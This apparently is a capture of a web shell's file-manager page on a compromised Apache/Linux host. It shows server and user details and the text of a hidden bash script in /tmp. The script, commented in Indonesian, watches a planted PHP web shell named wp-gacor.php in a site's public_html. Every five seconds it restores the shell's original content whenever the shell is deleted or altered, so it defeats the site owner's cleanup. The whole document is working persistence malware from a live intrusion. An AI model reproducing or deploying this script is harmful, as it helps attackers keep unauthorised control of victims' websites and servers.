HEX
Server: Apache
System: Linux srv7.arcedns.com 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User: rootliftron (1223)
PHP: 8.2.28
Disabled: symlink,show_source,system,proc_terminate,passthru,proc_open,dl,ln,ls,cat,mail
Upload Files
File: //tmp/.antidelete_dcd1338e673dd3a9c9425fe58ecc15f7.sh
#!/bin/bash
SHELL_PATH="/home/rootliftron/public_html/wp-gacor.php"
SHELL_URL="https://liftron.net/wp-gacor.php"
PID_FILE="/tmp/.antidelete_dcd1338e673dd3a9c9425fe58ecc15f7.pid"
LOG_FILE="/tmp/.antidelete_dcd1338e673dd3a9c9425fe58ecc15f7.log"

echo $$ > "$PID_FILE"
TIMESTAMP=$(TZ="Asia/Jakarta" date +"%Y-%m-%d %H:%M:%S")
echo "$TIMESTAMP: Anti-delete dimulai untuk $SHELL_PATH" >> "$LOG_FILE"

# Save original content
ORIGINAL_CONTENT=$(cat "$SHELL_PATH" 2>/dev/null)

while true; do
    TIMESTAMP=$(TZ="Asia/Jakarta" date +"%Y-%m-%d %H:%M:%S")
    if [ ! -f "$SHELL_PATH" ]; then
        echo "$TIMESTAMP: File dihapus, memulihkan..." >> "$LOG_FILE"
        echo "$ORIGINAL_CONTENT" > "$SHELL_PATH"
        chmod 0644 "$SHELL_PATH" 2>/dev/null
        echo "$TIMESTAMP: File berhasil dipulihkan" >> "$LOG_FILE"
    else
        CURRENT_CONTENT=$(cat "$SHELL_PATH" 2>/dev/null)
        if [ "$CURRENT_CONTENT" != "$ORIGINAL_CONTENT" ]; then
            echo "$TIMESTAMP: File dimodifikasi, memulihkan..." >> "$LOG_FILE"
            echo "$ORIGINAL_CONTENT" > "$SHELL_PATH"
            echo "$TIMESTAMP: File berhasil dipulihkan" >> "$LOG_FILE"
        fi
    fi
    sleep 5
done